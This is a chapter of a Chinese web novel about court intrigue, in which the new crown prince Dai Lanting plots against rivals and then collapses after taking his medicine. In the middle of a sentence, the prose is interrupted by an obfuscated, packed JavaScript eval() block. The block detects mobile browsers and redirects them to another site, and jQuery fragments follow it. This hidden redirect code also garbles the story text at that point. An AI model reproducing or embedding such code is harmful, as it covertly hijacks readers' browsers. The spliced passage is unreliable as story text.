58. 第 58 章
作品:《晦气红娘竟是婚姻调解TOP1》 吃完饭,楚元英自觉喝完药,又端起一碗喂代兰亭服下。
李平凝声道:“禁军中我们的人约有五万左右,庄子里尚有五万,眼下能差遣的人手共计十万,若让照霜领兵,对上靖安王折损不过四万,只是镇北侯府的兵权还在林砚手中,此事颇为棘手。”
“你在说什么?”代兰亭一脸莫名其妙。
李平不解道:“你不去领兵平叛来坐实太子之位吗?你先前不是说,陛下有意让你去吗?”
代兰亭的太子之位来得实在莫名其妙,他素日从未踏足朝堂,毫无民心根基,更别提笼络朝臣,若非他暗中提携了一番谢文瑾,代兰亭在朝中基本无人可用。
“不平,就算要平叛,凭什么用我养的私兵?”代兰亭幽幽道:“年纪大了眼也盲了?瞧不出来这是给我设的鸿门宴?我若去了还能活着回来吗?”
周伯与李平对视一眼,都从对方眼中看出惊诧之意。
他们不是没想过这点,只不过不肯信,毕竟二人是父子,他们更倾向于陛下是真心实意替代兰亭谋划的。
虽说他们也瞧得出,陛下素来不喜欢代兰亭,但父子不就是这样吗?
嘴上说着刻薄的话,心底终究还会疼惜的。
可如今看来,事情似乎并非如此。
“我是真没想到他竟会立我为太子。”代兰亭苦着脸咽下一口黑漆漆的药汤,有些哭笑不得,“老畜生年纪大了,脑子反倒越来越灵光,贼精贼精的,真气人。”
他设想过无数情况,唯独下意识忽略了皇帝会立他为太子的可能。他又咬牙喝了两口药后,难免沉痛道:“是我思虑不周,这才被打了个措手不及。”
纵使步步为营,也总有算不到的意外会发生,代兰亭对此接受得很快,他沉痛只是觉得这药太苦,实在有点难以入口。
皇帝自小就没教过他什么,唯独教了他下棋。
起初他十局九输,后来下多了勉强打个平手,但皇帝这个老家伙很不要脸,眼看要输了不是掀棋盘,就是执意悔棋,最过分的还得数能理直气壮搬出皇帝身份,让他主动投降认输。
每回代兰亭都气得跳脚,后来索性依样学样,吵着说他年纪小,皇帝合该让着他,然后挨了一顿打。
陈恪拍了拍脑袋,道:“对了,谢文瑾托我问殿下,如今是何打算。”
代兰亭眉头一挑,奇道:“他还真打算辅佐我?”
陈恪摇头道:“不知,不过他素来与殿下关系亲近,此事人尽皆知。”
“谁跟他关系亲近!”代兰亭一脸嫌弃。
陈恪默默地觑了身旁的李平一眼,没言语。
谢文瑾与代兰亭念书时,一个稳居榜首,一个常年垫底,偏生躺榻上垫底的这个,老拉着榜首的逃学疯玩。
每逢太傅考学时,总免不了谢文瑾一顿出淤泥而不染,谁是“淤泥”不言而喻。气得代兰亭半夜偷偷剪了太傅头发,第二日就挨了顿手板,不等下学就跑去找李平告状,说李平的门生欺负他,结果又挨了一顿手板,气得他又剪了李平的头发。
这一剪倒是把李平的反骨剪了出来,他自问在教书育人这方面登峰造极,什么顽劣子弟都能治得服服帖帖,他倒要看看代兰亭是有多混账!
他打算亲自教导代兰亭,太傅甚感体恤,还给他提了两壶好酒,但被周伯偷走了。
可谁知,还没教一个时辰,他就发现一桩做梦都想不到的荒唐事。
皇帝的儿子,过继给靖安王的嫡子,都十多岁了,居然还能不!识!字!
世家高官的孩子早在开蒙前,便能识得不少字,代兰亭因出宫错过了正常入学的年纪,回来后靖安王对他不管不问,还是看代清裳每日早出晚归,他偷偷跟过去,才闹着要与旁人一样,也要去华文殿。
太傅如李平一般,理所应当地认为代兰亭这个年纪,基础的学识定然是有的。可谁曾想,一本寻常的书卷,他竟有九成字都不认识,难怪次次垫底,他连书都看不懂,从一开始,便比旁人落后了一大截,自然跟不上年纪相仿的谢文瑾。
李平从认知崩塌到重塑,足足花了小半天,他一言不发去买了一本《千字文》,顺道狠狠埋汰了一遭顾云舟,又去宫门口好生阴阳了皇帝一通,只知生养而不教养,枉为人父也的精妙言论。
遣词造句颇为巧妙,皇帝硬是挑不出他的错处,索性塞了一堆乐技去靖安王府,让靖安王务必养出文舞双全的好儿子。
自此,靖安王开始跟李平抢人,最后商定让其白天学文晚上学舞,这才堪堪平息。可怜代兰亭开始了一段极为暗无天日的日子,因此直接蔫头耷脑了好几年,都没力气闹腾。
李平捋了捋胡须,露出几分自得之意。他硬是将代兰亭从垫底教到了正数第二,总算没给清朗的人生增添污点,还狠狠扬眉吐气了一番。
他觉得代兰亭不比谢文瑾差,还曾与太傅喝酒争论了一番,二人舌战群儒吵到天亮没分出胜负,索性定了个赌约。不曾想,代兰亭还没开始就认输,此番不战而败直接让他颜面扫地,好几年没在太傅面前抬起头,他脸上那点自得又垮了下来。
“你去找顾三时,可被人看到?”代兰亭喝完最后一口药,头又开始疼了,仿佛被人抡了一锤子似的,眼皮也沉沉的,含含糊糊朝周伯问。
“人家姑娘让我去刺杀他,刺杀你懂不懂?”周伯义正词严,“既是美人相求,我自然办得利落漂亮,一把火烧了个干干净净。”
代兰亭伸出手搂住楚元英的腰,诧异道:“你想做什么?”
“自然是给你报仇。”楚元英冷冰冰道:“若你未曾醒来,待皇帝平叛后,我就将你身死的消息公之于众。你与顾玄奕一死,顾家就会乱作一团,谢文瑾更有理由去抄罗家,代景垣必定坐不住,届时,我就拉着你的尸体进宫面圣,求皇帝彻查,代景垣会将这口锅扣在皇后身上,不管谁是主使,皇帝一定会杀了皇后,改立六皇子为太子,代景垣也难逃阶下囚的下场。”
她顿了顿,道:“至于你交代的后事,根本不在我考虑之中。”
代兰亭笑了笑,眯着眼睛道:“虽说有几分疏漏,大致上也可行,便依你行事。”
楚元英:?
“不过靖安王暂时不能动。”代兰亭沉吟片刻,道:“陈恪,找我阿姐……”
他眉头一拧,像是想到了什么不好的事,声音虚浮道:“找我兄长,靖安世子。他若想保全靖安王府,就亲自来见我。宫中让白寄云先行停手,谢文瑾……让他投诚代景
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982760|185367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垣,好生提点提点代景垣,我怕这蠢货想破脑袋都想不到,能借我和顾三这事发难皇后。”
陈恪应了一声退下。
代兰亭头疼得厉害,他看向周伯,道:“周明云,我本该找你算一算的,但这一刀挨得还挺值,便不与你计较了。”
闻言,周伯沉默良久,又似恢复了几分醉态,双眼浑浊,慢吞吞道:“谁让你跟你爹一个德行,看着就让人心烦。”
他本名原是周明云,当年曾任内阁首辅,能文能武,皇帝对其很是忌惮。奈何他向来圆滑,极有分寸从不僭越,皇帝抓他小辫子都抓不着。
以进为退,辞官还乡,这本该是他明哲保身的上策,但他偏生没有这样做。
为人臣者,本就该做好被帝王猜忌、忌惮、曲解的准备。奉儒守官,以身殉志,这才是他恪守的忠君之道。
可皇帝借酒醉强抢了他的妻子,逼得他妻子一条白绫自尽了。
臣是忠臣,君却不是个东西。
他开始怨,为何品行如此卑劣之人,却能端坐九五至尊。
他想不通,便在早朝时,立在金銮殿上,当众辱骂皇帝足足两个时辰,皇帝耐着性子等他骂完才散朝,晚上一杯鸩酒赐了下来。
这酒自然没喝成,他也摒弃了这个名字,不许旁人再提及。
他对代兰亭称不上讨厌,也不算喜欢,只觉得这孩子性子八分像他爹,两分像他娘,十成十欠打的混账玩意。
往日他不大想与代兰亭有过多牵扯,故而那日看到凌朔发出的信号时,他借酒醉想装作未曾看到,磨磨蹭蹭许久,才慌张带人赶去。
他从未想过会出这么大的岔子,下意识觉得,即便所有人死绝了,代兰亭定然会无恙,更没料到代兰亭在最后一刻,心中盘算的居然是身死后如何保全所有人。
为臣者,不该对君主生出怨怼。
为长者,不该对晚辈生出偏见。
临了才发觉,他对代兰亭当臣做人皆是一塌糊涂。
“喝酒误事,说到底,全怪普济误我。”他虚虚叹息一声,随后仰起脸,似是扬眉吐气,又带几分沾沾自喜,“他还想来探望你,被我一顿好打,赶了出去,嘿嘿。”
代兰亭神情恹恹,有气无力地敷衍了句:“打得好,多打两下……”
他声音轻飘飘的,到了最后已是含糊不清。
楚元英察觉一丝不对劲,抬眼望去,脸色倏然苍白。
代兰亭双目之中缓缓渗出殷红的血迹,此时也迷茫地望着她,突然猛地呕出一口血,连带鼻孔里也有鲜血流出,随后双眼一闭,再度昏了过去。
楚元英吓得心都提到嗓子眼了,失声惊呼:“简阳!快去找简阳!”
她慌忙伸手探了探代兰亭的额头,滚烫,还起烧了。
霎时,屋内响起了一阵鸡飞狗跳的呼叫声:
“简阳!简阳!简阳!”
“简阳!救命!”
“简阳!殿下喝了你的药七窍流血了!”
“……”
等传到简阳耳朵里就变成了:“简阳!人被你毒死了!”
简阳啪的一声捏断了打算放进鸡汤里的人参,做梦也没想到自己一大把年纪了,还能跑得比兔子还快。

